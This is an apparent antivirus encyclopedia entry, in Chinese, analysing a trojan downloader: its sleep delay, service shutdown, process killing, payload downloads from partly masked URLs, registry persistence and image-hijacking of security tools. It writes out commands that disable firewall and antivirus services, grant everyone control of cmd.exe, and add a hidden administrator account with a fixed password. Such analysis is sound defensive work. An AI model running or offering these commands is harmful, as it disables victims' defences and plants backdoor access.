病毒名称(中文):
延迟下载器81920
病毒别名:
威胁级别:
★☆☆☆☆
病毒类型:
木马下载器
病毒长度:
81920
影响系统:
Win9xWinMeWinNTWin2000WinXPWin2003
病毒行为:
这是个木马下载器。它会将自己设为治理员权限，映像劫持大量的杀毒软件。然后从指定网址下载大量其它木马程序。
1.运行后首先Sleep()，挂起10分钟。然后下载病毒列表。
2.cacls.exeC:\Windows\system32\cmd.exe/e/t/geveryone:F
更改cmd权限为所有用户可以执行
执行cmd.exe/cnetstopwscsvc&
netstopsharedaccess&
scconfigsharedaccessstart=disabled&
scconfigwscsvcstart=disabled&
netstopKPfwSvc&
netstopKWatchsvc&
netstopMcShield&
netstop"NortonAntiVirusServer
终止或禁用一些服务
3.查找并终止以下进程shstat.exe,runiep.exe,ras.exe,MPG4C32.exe,
imsins.exe,Iparmor.exe,360safe.exe,360tray.exe,kmailmon.exe,
kavstart.exe,cacls.exe,cmd.exe。
4.查找杀软ccenter.exe，假如找到下载
http://ps.go****o.com/rc/1500/rav.jpg
保存到C:\windows\system32\rav.exe执行。
rav.exe会生成C:\windows\system32\ressdt.exe
注册ressdt.sys驱动,恢复ssdt,然后delressdt.exe
5.读取http://ps.go****o.com/rc/1500/gx.txt
下载的病毒列表，并执行，实际读出的是0。下载http://ps.go****o.com/rc/1500/gx.jpg
到本地C:\windows\system32\vbb.exe并执行，这个vbb.exe会下载一些其他的病毒。
6.写入注册表自启动
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft
\Windows\CurrentVersion\Run\SoundMan
删除一下注册表项
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft
\Windows\CurrentVersion\Run360Safetray
KavPFW
vptray
runeip
RavTask
RfwMain
kav
7.添加一个用户new1密码12369到治理员组
cmd.exe/cnetusernew112369/add&
netusernew112369&
netusernew1/active:yes&
netlocalgroupadministratorsnew1/add
8.通过写入一个1.inf的文件并执行，注册为服务启动，替换原系统服务键值
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Service\helpsvc
原键值%SystemRoot%\System32\svchost.exe-knetsvcs
为%SystemRoot%\System32\interne.exe
其执行的语句如下：
cmd/cecho[Version]>%windir%\1.inf&
echoSignature="$WINDOWSNT$">>%windir%\1.inf&
echo[DefaultInstall.Services]>>%windir%\1.inf&
...
(略去数行)
9.新建键值
HKLM\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon\SpecialAccounts\UserList\new1=0
10.映像劫持，导致一些安全工具打不开。
把HKLM\SoftWare\Microsoft\WindowsNT\CurrentVersion\ImageFileExecutionOptionscftmon.exe\debugger=soundman.exe
360tray.exe=svchost.exe
360safe.exe=svchost.exe
360Loader.exe=svchost.exe
kmailmon=svchost.exe
IceSword=svchost.exe
runiep=svchost.exe
ras=svchost.exe
Iparamor.exe=svchost.exe
taskmgr.exe=svchost.exe
11.屏蔽隐藏文件的选项
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue
